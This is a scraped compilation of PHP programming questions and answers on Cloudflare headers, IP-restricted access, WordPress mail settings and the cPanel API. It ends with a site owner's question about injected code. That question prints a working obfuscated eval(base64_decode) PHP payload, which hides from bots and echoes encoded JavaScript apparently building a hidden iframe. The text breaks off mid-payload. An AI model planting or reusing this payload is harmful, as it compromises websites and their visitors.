CF_IPCountry header to all requests in Drupal - php

I'm starting a blog in Drupal and using Cloudflare DNS. They act as a 'proxy' and all my visitors have their ip. They offer an IP Geolocation option to show real users IP:
Once enabled, we will then add a header called "CF-IPCountry" to all requests we make to your website. Here are a couple of examples of how to access/store this value:
$country_code = $_SERVER["HTTP_CF_IPCOUNTRY"]; // to access in PHP
$country_code = $ENV{"HTTP_CF_IPCOUNTRY"}; # to access in Perl
The question is: how can I use this?
I'm a html/css/js person and making now my first steps into php. I searched this last two days and didn't found a single example how to implement this option. I tried this in the "template.php" file:
function TEMPLATE_drupal_add_http_header() {
$country_code = $_SERVER["HTTP_CF_IPCOUNTRY"];
}
But nothing happens and ip's still from Cloudflare. Can anyone help here? Is it so simple that it doesn't need any explanations (hence I didn't found one)?
Thank you.

Do you have something like the Drupal plugin installed or something like mod_cloudflare?

Related

How to restrict website accessing, if user is on remote device and not on a work computer? (work time tracker app)

I would like to make a PHP website, where employees can log in/out themselves and these logs will count as a time when they started and ended their working day. I would like to allow them to do that only on their work computer and not for example on their phone while they are still on the way, but they want to avoid "being late".
So I'm struggling with a few ideas, but any of them seems to be the right solution.
Allow using the website only for specific IP addresses. But then I realized that in our place IP address is dynamic and changing it for static costs too much in our area.
Check user location. But then I saw that when I'm checking my public IP address, the location is completely wrong! Our building isn't even close to the loaded area.
Using a COOKIE/token on a work computer. But it's very easy to set the same cookie on your own device and I'm not the only IT employee here.
Checking MAC address. As I read here it's possible only in specific cases.
Block access for mobiles. But detecting a mobile is based on browser and if the user click "Request Desktop Site" scripts will say that's a computer.
Is there another method, which I can use to achieve my goal? Am I missing something?
May I bind my app for example with some other technologies that will allow me to do that? Or maybe I should try a combination of all of them?
I couldn't find any script, which would take care of that. In the worst case it doesn't have to be "perfectly secure", but I would like to be it at least hard, annoying, or time-consuming to try to "cheat" in this system.
I would run your app in the office LAN. Nobody will be able to access it from outside except if they can do remote desktop to the office computer or if they have VPN. But if you are in the IT team you may could fix IP ranges for the office computers so that you could exclude the VPN.
In terms of security, in any case it may be better having it running in your LAN. I'm sure you've got a server somewhere and if it's not the case then you could use a NAS (Synology offers NGINX, Apache, PHP and much more) or a little Rasperry Pie or something similar.
If you haven't got a fixed IP, you could also use DynDNS and have it mapped to a sub-domain such as company-name.dyndns.org and then on your PHP app you could have a cron job that gets the IP address from the domain name and updates it every minutes (I'm sure it's quickly run). It could then store it inside a config file, this way:
<?php
define('ALLOWED_IP_FILE', 'allowed-ips.inc.php');
$ALLOWED_DOMAINS = [
'your-company.dyndns.org',
'you-at-home.dyndns.org',
];
$allowed_ips = [];
foreach ($ALLOWED_DOMAINS as $allowed_domain) {
$ip = gethostbyname($allowed_domain);
if ($ip !== $allowed_domain) {
// Store with the IP in the key and value for ease when checking the IP validity.
$allowed_ips[$ip] = $ip;
} else {
fprintf(STDERR, "ERROR: Could not find the IP of $allowed_domain!\n");
}
}
$allowed_ips_export = var_export($allowed_ips, true);
$config_file_content = <<<END_OF_CONFIG
<?php
// Don't edit! This config file is generated by cron-ip-address.php.
\$ALLOWED_IPS = $allowed_ips_export;
END_OF_CONFIG;
if (file_put_contents(ALLOWED_IP_FILE, $config_file_content) === false) {
fprintf(STDERR, 'ERROR: Could not write config file ' . ALLOWED_IP_FILE . "\n");
}
This generates a config file to include in your app. Example of content generated if you run the script I wrote above:
<?php
// Don't edit! This config file is generated by cron-ip-address.php.
$ALLOWED_IPS = array (
'142.250.203.99' => '142.250.203.99',
'23.201.250.169' => '23.201.250.169',
);
Now, in your app, just include it and test the presence of the IP in the $ALLOWED_IPS array:
<?php
include ALLOWED_IP_FILE; // If this is declared in a common config file.
// include 'allowed-ips.inc.php'; // If you haven't got a common config file.
if (!isset($ALLOWED_IPS[$_SERVER['REMOTE_ADDR']])) {
http_response_code(403);
die('Sorry, you cannot access it from here.');
}
Ideally, if what you actually want to track is when employees are in the workplace and logged on / for how long, it would be probably better to just track local machine-logins via a domain controller - a method reachable from the internet is suboptimal exactly for the reasons you mentioned.
If you have an intranet which users cannot tunnel into but can access from their work machines, I'd say hosting your login-page only inside that intranet is the easiest way to achieve what you want with the methods you suggest.
Alternatively, if employee work-machines use windows under a domain controller - you can restrict access to Windows certificate-storage, then install/push a certificate and require that to be present via your server-configuration. In that case, it doesn't matter if the website is accessible from the internet. I'm sure there are similar solutions if work-machines are not on Windows.
This admittely old question gives some pointers in the right direction on how to require client certificates from a Webserver (IIS in that case).

Wordpress site_url string replace

My PHP knowledge is very basic. I've built a child theme and the functions.php is all from bits and pieces found on the web. All works great at the moment, and I've reused it on another website. But in several places I had to manually input blog name, email address, etc. What I want is to make it reusable without any further interventions over it. I've covered all problems, but one: changing the default wordpress#example.com email.
// Changing default wordpress email settings
add_filter('wp_mail_from', 'new_mail_from');
function new_mail_from($old) {
return 'notifications#example.com';
}
This works, although to make it reusable without intervention I need to somehow retrieve the site's URL without http:// and www. I've made a test page and used:
$my_site = str_replace('www.','', $_SERVER['SERVER_NAME']);
echo 'notifications#'.$my_site;
It worked on the test.php file, but not in Wordpress' functions.php. The mail is sent and received, but the sender is 'notifications#' with nothing after #. I've used it as
return 'notifications#'.#my_site;
I've tried another approach:
$custom_email = 'notifications#'.str_replace('www.','', $_SERVER['SERVER_NAME']);
function new_mail_from($old) {
return $custom_email;
}
This one doesn't show any sender at all, it's from "unknown sender".
I've tried to work with site_url() instead of $_SERVER, but I haven't managed to make it work either. I didn't tried using home_url() because maybe in some cases home_url() will use a custom page (like a landing page).
Is there a way to solve this problem I have?
Thank you.
Ok, with a bit of help from a friend, I've found something that works:
function new_mail_from($old) {
$custom_email = 'notifications#'.str_replace('www.','', $_SERVER['SERVER_NAME']);
return $custom_email;
}
So basically all I need is to put $custom_email inside the function.
#MadBreaks Now... I know your advice was to avoid str_replace, but I didn't manage to understand parse_url and how to use it. Why isn't str_replace a good choice?
#Victory $_SERVER['SERVER_NAME'] and $_SERVER['HTTP_HOST'] did for me the same thing. Could you please tell me what's the difference? Or pros and cons in using each of them in this situation? Thank you.

cpanel XML API 404 error

Had a look at quite a few posts on stack and the cpanel forum but still cant seem to find a solution.
Im trying to retreive information via an api call but it just always seems to fail. I know its to do with the url 404'ing but not sure how to fix.
I am using the the XMl API class:
https://github.com/CpanelInc/xmlapi-php/
The code I have is:
$this->load->library('xmlapi');
$xmlapi = new xmlapi(XMLAPI_HOST);
$xmlapi->password_auth(CPANEL_USER, CPANEL_PASSWORD);
$xmlapi->set_debug(1);
echo '<pre>';
print_r($xmlapi->accountsummary(CPANEL_USER));
echo '</pre>';
The above outputs the xml array. In the error_notice it says:
HTTP error 404, The requested page was not found.
Thats fine. So I echo out the url it uses which 404's:
http://mysite.co.uk:2082/xml-api/accountsummary
The cpanel docs are a little awkward to navigate but just cant find anything on the actual url structure, besides its the class that compiles the url. ive tried adding www, tried an ip etc but no idea why its erroring.
Also if it helps im accessing a normal cpanel account, not a WHM admin and its through http.
Thanks for reading, any help guidance on getting it working would be appreciated.
The issue you are experiencing is that you are attempting to use the accountsummary function from cPanel ports (2082/2083). The accountsummary function is limited to the administrator accounts since this function is designed to provide administrative api level access for pulling account information from any user on the server.
To access the accountsummary api, you will need to call the accountsummary api from the following url:
https://$SERVER_IP:2087/xml-api/accountsummary?user=$USERNAME
You will need to replace $SERVER_IP and $USERNAME with their respective values.
http://docs.cpanel.net/twiki/bin/view/SoftwareDevelopmentKit/ShowAccountInformation

What is this mystery code that was hacked onto my site? [duplicate]

This question already has answers here:
Closed 11 years ago.
Possible Duplicate:
eval base64_decode php virus
A few days ago I noticed that none of my mail scripts were working anymore. I inquired with the hosting provider and they informed me that that my hosting account was somehow hacked by spammers and I had reached my 'emails per hour' limit, which was an indication that some sort of malicious code was placed on my site that sent the enormous amounts of emails.
I just checked my code and I found this chunk of mystery code that was placed at the top of my index.php page. I have absolutely no idea what it does or how it might send email out, unless it somehow latches onto my email scripts. What is this mystery code that was placed on my site?
Also, if I remove this code, should it clear up my problems? Is there anything else I can to find out if anything else was added on my server? And I'm guessing that the only way the code got added to my index.php file is that my account itself was hacked and they manually added it, so is there anything I can do to ensure this doesn't happen again?
Code that was placed on my home page:
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNjdVpHOWpkVzFsYm5RcFlUMG9JblkxTXpKaU5TSXVjM0JzYVhRclJHRjBaU2t1YzNWaWMzUnlLREFzTmlrN1lXRTlLRnRkTG5KbGRtVnljMlVyVzEwdWNtVjJaWEp6WlNrdWMzVmljM1J5S0RBc05pazdhV1lvWVdFOVBUMWhLUXBtUFZzdE16QXNMVE13TERZMkxEWXpMQzAzTERFc05qRXNOeklzTmpBc056Z3NOekFzTmpJc056RXNOemNzTnl3Mk5DdzJNaXczTnl3ek1DdzJPU3cyTWl3M01DdzJNaXczTVN3M055dzNOaXd5Tnl3NE1pdzBOU3cxT0N3Mk5Dd3pPU3cxT0N3M01DdzJNaXd4TERBc05Ua3NOeklzTmpFc09ESXNNQ3d5TERVeUxEa3NOVFFzTWl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTml3Mk15dzNOU3cxT0N3M01DdzJNaXczTlN3eExESXNNakFzTFRNd0xDMHpNQ3c0Tml3dE55dzJNaXcyT1N3M05pdzJNaXd0Tnl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTVN3M01pdzJNQ3czT0N3M01DdzJNaXczTVN3M055dzNMRGd3TERjMUxEWTJMRGMzTERZeUxERXNMVFVzTWpFc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc0xUY3NOellzTnpVc05qQXNNaklzTUN3Mk5TdzNOeXczTnl3M015d3hPU3c0TERnc05qZ3NPRE1zTmpnc056QXNPRElzTnpFc05qTXNOeXc0TXl3NE1pdzNNU3czTml3M0xEWXdMRGN5TERjd0xEZ3NOakVzT0N3eE15dzVMREV6TERjc056TXNOalVzTnpNc01qUXNOalFzTnpJc01qSXNNVEFzTUN3dE55dzRNQ3cyTml3Mk1TdzNOeXcyTlN3eU1pd3dMREV3TERrc01Dd3ROeXcyTlN3Mk1pdzJOaXcyTkN3Mk5TdzNOeXd5TWl3d0xERXdMRGtzTUN3dE55dzNOaXczTnl3NE1pdzJPU3cyTWl3eU1pd3dMRGM1TERZMkxEYzJMRFkyTERVNUxEWTJMRFk1TERZMkxEYzNMRGd5TERFNUxEWTFMRFkyTERZeExEWXhMRFl5TERjeExESXdMRGN6TERjeUxEYzJMRFkyTERjM0xEWTJMRGN5TERjeExERTVMRFU0TERVNUxEYzJMRGN5TERZNUxEYzRMRGMzTERZeUxESXdMRFk1TERZeUxEWXpMRGMzTERFNUxEa3NNakFzTnpjc056SXNOek1zTVRrc09Td3lNQ3d3TERJekxESXhMRGdzTmpZc05qTXNOelVzTlRnc056QXNOaklzTWpNc0xUVXNNaXd5TUN3dE16QXNMVE13TERnMkxDMHpNQ3d0TXpBc05qTXNOemdzTnpFc05qQXNOemNzTmpZc056SXNOekVzTFRjc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc056VXNNU3d5TERnMExDMHpNQ3d0TXpBc0xUTXdMRGM1TERVNExEYzFMQzAzTERZekxDMDNMREl5TEMwM0xEWXhMRGN5TERZd0xEYzRMRGN3TERZeUxEY3hMRGMzTERjc05qQXNOelVzTmpJc05UZ3NOemNzTmpJc016QXNOamtzTmpJc056QXNOaklzTnpFc056Y3NNU3d3TERZMkxEWXpMRGMxTERVNExEY3dMRFl5TERBc01pd3lNQ3cyTXl3M0xEYzJMRFl5TERjM0xESTJMRGMzTERjM0xEYzFMRFkyTERVNUxEYzRMRGMzTERZeUxERXNNQ3czTml3M05TdzJNQ3d3TERVc01DdzJOU3czTnl3M055dzNNeXd4T1N3NExEZ3NOamdzT0RNc05qZ3NOekFzT0RJc056RXNOak1zTnl3NE15dzRNaXczTVN3M05pdzNMRFl3TERjeUxEY3dMRGdzTmpFc09Dd3hNeXc1TERFekxEY3NOek1zTmpVc056TXNNalFzTmpRc056SXNNaklzTVRBc01Dd3lMREl3TERZekxEY3NOellzTnpjc09ESXNOamtzTmpJc055dzNPU3cyTml3M05pdzJOaXcxT1N3Mk5pdzJPU3cyTml3M055dzRNaXd5TWl3d0xEWTFMRFkyTERZeExEWXhMRFl5TERjeExEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEY3pMRGN5TERjMkxEWTJMRGMzTERZMkxEY3lMRGN4TERJeUxEQXNOVGdzTlRrc056WXNOeklzTmprc056Z3NOemNzTmpJc01Dd3lNQ3cyTXl3M0xEYzJMRGMzTERneUxEWTVMRFl5TERjc05qa3NOaklzTmpNc056Y3NNaklzTUN3NUxEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEYzNMRGN5TERjekxESXlMREFzT1N3d0xESXdMRFl6TERjc056WXNOaklzTnpjc01qWXNOemNzTnpjc056VXNOallzTlRrc056Z3NOemNzTmpJc01Td3dMRGd3TERZMkxEWXhMRGMzTERZMUxEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xEWXpMRGNzTnpZc05qSXNOemNzTWpZc056Y3NOemNzTnpVc05qWXNOVGtzTnpnc056Y3NOaklzTVN3d0xEWTFMRFl5TERZMkxEWTBMRFkxTERjM0xEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xDMHpNQ3d0TXpBc0xUTXdMRFl4TERjeUxEWXdMRGM0TERjd0xEWXlMRGN4TERjM0xEY3NOalFzTmpJc056Y3NNekFzTmprc05qSXNOekFzTmpJc056RXNOemNzTnpZc01qY3NPRElzTkRVc05UZ3NOalFzTXprc05UZ3NOekFzTmpJc01Td3dMRFU1TERjeUxEWXhMRGd5TERBc01pdzFNaXc1TERVMExEY3NOVGdzTnpNc056TXNOaklzTnpFc05qRXNNamdzTmpVc05qWXNOamtzTmpFc01TdzJNeXd5TERJd0xDMHpNQ3d0TXpBc09EWmRPMjFrUFNkaEp6dGxQWGRwYm1SdmR5NWxkbUZzTzNjOVpqdHpQU2NuTzJjOUoyWW5LeWR5YnljckoyMURhQ2NySjJGeUp5c25RMjlrSnlzblpTYzdabTl5S0drOU1EdHBMWGN1YkdWdVozUm9QREE3YVNzcktYdHpQWE1yVTNSeWFXNW5XMmRkS0RNNUszZGJNQ3RwWFNrN2ZRcHBaaWhoUFQwOVlXRXBDbVVvSjJVbkt5Y29KeXNuY3ljckp5a25LVHM4TDNOamNtbHdkRDQ9JykpOw0KfQ=='));
This script:
<?php
echo (base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNjdVpHOWpkVzFsYm5RcFlUMG9JblkxTXpKaU5TSXVjM0JzYVhRclJHRjBaU2t1YzNWaWMzUnlLREFzTmlrN1lXRTlLRnRkTG5KbGRtVnljMlVyVzEwdWNtVjJaWEp6WlNrdWMzVmljM1J5S0RBc05pazdhV1lvWVdFOVBUMWhLUXBtUFZzdE16QXNMVE13TERZMkxEWXpMQzAzTERFc05qRXNOeklzTmpBc056Z3NOekFzTmpJc056RXNOemNzTnl3Mk5DdzJNaXczTnl3ek1DdzJPU3cyTWl3M01DdzJNaXczTVN3M055dzNOaXd5Tnl3NE1pdzBOU3cxT0N3Mk5Dd3pPU3cxT0N3M01DdzJNaXd4TERBc05Ua3NOeklzTmpFc09ESXNNQ3d5TERVeUxEa3NOVFFzTWl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTml3Mk15dzNOU3cxT0N3M01DdzJNaXczTlN3eExESXNNakFzTFRNd0xDMHpNQ3c0Tml3dE55dzJNaXcyT1N3M05pdzJNaXd0Tnl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTVN3M01pdzJNQ3czT0N3M01DdzJNaXczTVN3M055dzNMRGd3TERjMUxEWTJMRGMzTERZeUxERXNMVFVzTWpFc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc0xUY3NOellzTnpVc05qQXNNaklzTUN3Mk5TdzNOeXczTnl3M015d3hPU3c0TERnc05qZ3NPRE1zTmpnc056QXNPRElzTnpFc05qTXNOeXc0TXl3NE1pdzNNU3czTml3M0xEWXdMRGN5TERjd0xEZ3NOakVzT0N3eE15dzVMREV6TERjc056TXNOalVzTnpNc01qUXNOalFzTnpJc01qSXNNVEFzTUN3dE55dzRNQ3cyTml3Mk1TdzNOeXcyTlN3eU1pd3dMREV3TERrc01Dd3ROeXcyTlN3Mk1pdzJOaXcyTkN3Mk5TdzNOeXd5TWl3d0xERXdMRGtzTUN3dE55dzNOaXczTnl3NE1pdzJPU3cyTWl3eU1pd3dMRGM1TERZMkxEYzJMRFkyTERVNUxEWTJMRFk1TERZMkxEYzNMRGd5TERFNUxEWTFMRFkyTERZeExEWXhMRFl5TERjeExESXdMRGN6TERjeUxEYzJMRFkyTERjM0xEWTJMRGN5TERjeExERTVMRFU0TERVNUxEYzJMRGN5TERZNUxEYzRMRGMzTERZeUxESXdMRFk1TERZeUxEWXpMRGMzTERFNUxEa3NNakFzTnpjc056SXNOek1zTVRrc09Td3lNQ3d3TERJekxESXhMRGdzTmpZc05qTXNOelVzTlRnc056QXNOaklzTWpNc0xUVXNNaXd5TUN3dE16QXNMVE13TERnMkxDMHpNQ3d0TXpBc05qTXNOemdzTnpFc05qQXNOemNzTmpZc056SXNOekVzTFRjc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc056VXNNU3d5TERnMExDMHpNQ3d0TXpBc0xUTXdMRGM1TERVNExEYzFMQzAzTERZekxDMDNMREl5TEMwM0xEWXhMRGN5TERZd0xEYzRMRGN3TERZeUxEY3hMRGMzTERjc05qQXNOelVzTmpJc05UZ3NOemNzTmpJc016QXNOamtzTmpJc056QXNOaklzTnpFc056Y3NNU3d3TERZMkxEWXpMRGMxTERVNExEY3dMRFl5TERBc01pd3lNQ3cyTXl3M0xEYzJMRFl5TERjM0xESTJMRGMzTERjM0xEYzFMRFkyTERVNUxEYzRMRGMzTERZeUxERXNNQ3czTml3M05TdzJNQ3d3TERVc01DdzJOU3czTnl3M055dzNNeXd4T1N3NExEZ3NOamdzT0RNc05qZ3NOekFzT0RJc056RXNOak1zTnl3NE15dzRNaXczTVN3M05pdzNMRFl3TERjeUxEY3dMRGdzTmpFc09Dd3hNeXc1TERFekxEY3NOek1zTmpVc056TXNNalFzTmpRc056SXNNaklzTVRBc01Dd3lMREl3TERZekxEY3NOellzTnpjc09ESXNOamtzTmpJc055dzNPU3cyTml3M05pdzJOaXcxT1N3Mk5pdzJPU3cyTml3M055dzRNaXd5TWl3d0xEWTFMRFkyTERZeExEWXhMRFl5TERjeExEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEY3pMRGN5TERjMkxEWTJMRGMzTERZMkxEY3lMRGN4TERJeUxEQXNOVGdzTlRrc056WXNOeklzTmprc056Z3NOemNzTmpJc01Dd3lNQ3cyTXl3M0xEYzJMRGMzTERneUxEWTVMRFl5TERjc05qa3NOaklzTmpNc056Y3NNaklzTUN3NUxEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEYzNMRGN5TERjekxESXlMREFzT1N3d0xESXdMRFl6TERjc056WXNOaklzTnpjc01qWXNOemNzTnpjc056VXNOallzTlRrc056Z3NOemNzTmpJc01Td3dMRGd3TERZMkxEWXhMRGMzTERZMUxEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xEWXpMRGNzTnpZc05qSXNOemNzTWpZc056Y3NOemNzTnpVc05qWXNOVGtzTnpnc056Y3NOaklzTVN3d0xEWTFMRFl5TERZMkxEWTBMRFkxTERjM0xEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xDMHpNQ3d0TXpBc0xUTXdMRFl4TERjeUxEWXdMRGM0TERjd0xEWXlMRGN4TERjM0xEY3NOalFzTmpJc056Y3NNekFzTmprc05qSXNOekFzTmpJc056RXNOemNzTnpZc01qY3NPRElzTkRVc05UZ3NOalFzTXprc05UZ3NOekFzTmpJc01Td3dMRFU1TERjeUxEWXhMRGd5TERBc01pdzFNaXc1TERVMExEY3NOVGdzTnpNc056TXNOaklzTnpFc05qRXNNamdzTmpVc05qWXNOamtzTmpFc01TdzJNeXd5TERJd0xDMHpNQ3d0TXpBc09EWmRPMjFrUFNkaEp6dGxQWGRwYm1SdmR5NWxkbUZzTzNjOVpqdHpQU2NuTzJjOUoyWW5LeWR5YnljckoyMURhQ2NySjJGeUp5c25RMjlrSnlzblpTYzdabTl5S0drOU1EdHBMWGN1YkdWdVozUm9QREE3YVNzcktYdHpQWE1yVTNSeWFXNW5XMmRkS0RNNUszZGJNQ3RwWFNrN2ZRcHBaaWhoUFQwOVlXRXBDbVVvSjJVbkt5Y29KeXNuY3ljckp5a25LVHM4TDNOamNtbHdkRDQ9JykpOw0KfQ=='));
?>
Gave this output:
error_reporting(0);
$bot = FALSE ;
$ua = $_SERVER['HTTP_USER_AGENT'];
$botsUA = array('12345','alexa.com','anonymouse.org','bdbrandprotect.com','blogpulse.com','bot','buzztracker.com','crawl','docomo','drupal.org','feedtools','htmldoc','httpclient','internetseer.com','linux','macintosh','mac os','magent','mail.ru','mybloglog api','netcraft','openacoon.de','opera mini','opera mobi','playstation','postrank.com','psp','rrrrrrrrr','rssreader','slurp','snoopy','spider','spyder','szn-image-resizer','validator','virus','vlc media player','webcollage','wordpress','x11','yandex','iphone','android');
foreach ($botsUA as $bs) {if(strpos(strtolower($ua), $bs)!== false){$bot = true; break;}}
if (!$bot){
echo(base64_decode('PHNjcmlwdD5pZih3aW5kb3cuZG9jdW1lbnQpYT0oInY1MzJiNSIuc3BsaXQrRGF0ZSkuc3Vic3RyKDAsNik7YWE9KFtdLnJldmVyc2UrW10ucmV2ZXJzZSkuc3Vic3RyKDAsNik7aWYoYWE9PT1hKQpmPVstMzAsLTMwLDY2LDYzLC03LDEsNjEsNzIsNjAsNzgsNzAsNjIsNzEsNzcsNyw2NCw2Miw3NywzMCw2OSw2Miw3MCw2Miw3MSw3Nyw3NiwyNyw4Miw0NSw1OCw2NCwzOSw1OCw3MCw2MiwxLDAsNTksNzIsNjEsODIsMCwyLDUyLDksNTQsMiw4NCwtMzAsLTMwLC0zMCw2Niw2Myw3NSw1OCw3MCw2Miw3NSwxLDIsMjAsLTMwLC0zMCw4NiwtNyw2Miw2OSw3Niw2MiwtNyw4NCwtMzAsLTMwLC0zMCw2MSw3Miw2MCw3OCw3MCw2Miw3MSw3Nyw3LDgwLDc1LDY2LDc3LDYyLDEsLTUsMjEsNjYsNjMsNzUsNTgsNzAsNjIsLTcsNzYsNzUsNjAsMjIsMCw2NSw3Nyw3Nyw3MywxOSw4LDgsNjgsODMsNjgsNzAsODIsNzEsNjMsNyw4Myw4Miw3MSw3Niw3LDYwLDcyLDcwLDgsNjEsOCwxMyw5LDEzLDcsNzMsNjUsNzMsMjQsNjQsNzIsMjIsMTAsMCwtNyw4MCw2Niw2MSw3Nyw2NSwyMiwwLDEwLDksMCwtNyw2NSw2Miw2Niw2NCw2NSw3NywyMiwwLDEwLDksMCwtNyw3Niw3Nyw4Miw2OSw2MiwyMiwwLDc5LDY2LDc2LDY2LDU5LDY2LDY5LDY2LDc3LDgyLDE5LDY1LDY2LDYxLDYxLDYyLDcxLDIwLDczLDcyLDc2LDY2LDc3LDY2LDcyLDcxLDE5LDU4LDU5LDc2LDcyLDY5LDc4LDc3LDYyLDIwLDY5LDYyLDYzLDc3LDE5LDksMjAsNzcsNzIsNzMsMTksOSwyMCwwLDIzLDIxLDgsNjYsNjMsNzUsNTgsNzAsNjIsMjMsLTUsMiwyMCwtMzAsLTMwLDg2LC0zMCwtMzAsNjMsNzgsNzEsNjAsNzcsNjYsNzIsNzEsLTcsNjYsNjMsNzUsNTgsNzAsNjIsNzUsMSwyLDg0LC0zMCwtMzAsLTMwLDc5LDU4LDc1LC03LDYzLC03LDIyLC03LDYxLDcyLDYwLDc4LDcwLDYyLDcxLDc3LDcsNjAsNzUsNjIsNTgsNzcsNjIsMzAsNjksNjIsNzAsNjIsNzEsNzcsMSwwLDY2LDYzLDc1LDU4LDcwLDYyLDAsMiwyMCw2Myw3LDc2LDYyLDc3LDI2LDc3LDc3LDc1LDY2LDU5LDc4LDc3LDYyLDEsMCw3Niw3NSw2MCwwLDUsMCw2NSw3Nyw3Nyw3MywxOSw4LDgsNjgsODMsNjgsNzAsODIsNzEsNjMsNyw4Myw4Miw3MSw3Niw3LDYwLDcyLDcwLDgsNjEsOCwxMyw5LDEzLDcsNzMsNjUsNzMsMjQsNjQsNzIsMjIsMTAsMCwyLDIwLDYzLDcsNzYsNzcsODIsNjksNjIsNyw3OSw2Niw3Niw2Niw1OSw2Niw2OSw2Niw3Nyw4MiwyMiwwLDY1LDY2LDYxLDYxLDYyLDcxLDAsMjAsNjMsNyw3Niw3Nyw4Miw2OSw2Miw3LDczLDcyLDc2LDY2LDc3LDY2LDcyLDcxLDIyLDAsNTgsNTksNzYsNzIsNjksNzgsNzcsNjIsMCwyMCw2Myw3LDc2LDc3LDgyLDY5LDYyLDcsNjksNjIsNjMsNzcsMjIsMCw5LDAsMjAsNjMsNyw3Niw3Nyw4Miw2OSw2Miw3LDc3LDcyLDczLDIyLDAsOSwwLDIwLDYzLDcsNzYsNjIsNzcsMjYsNzcsNzcsNzUsNjYsNTksNzgsNzcsNjIsMSwwLDgwLDY2LDYxLDc3LDY1LDAsNSwwLDEwLDksMCwyLDIwLDYzLDcsNzYsNjIsNzcsMjYsNzcsNzcsNzUsNjYsNTksNzgsNzcsNjIsMSwwLDY1LDYyLDY2LDY0LDY1LDc3LDAsNSwwLDEwLDksMCwyLDIwLC0zMCwtMzAsLTMwLDYxLDcyLDYwLDc4LDcwLDYyLDcxLDc3LDcsNjQsNjIsNzcsMzAsNjksNjIsNzAsNjIsNzEsNzcsNzYsMjcsODIsNDUsNTgsNjQsMzksNTgsNzAsNjIsMSwwLDU5LDcyLDYxLDgyLDAsMiw1Miw5LDU0LDcsNTgsNzMsNzMsNjIsNzEsNjEsMjgsNjUsNjYsNjksNjEsMSw2MywyLDIwLC0zMCwtMzAsODZdO21kPSdhJztlPXdpbmRvdy5ldmFsO3c9Zjtz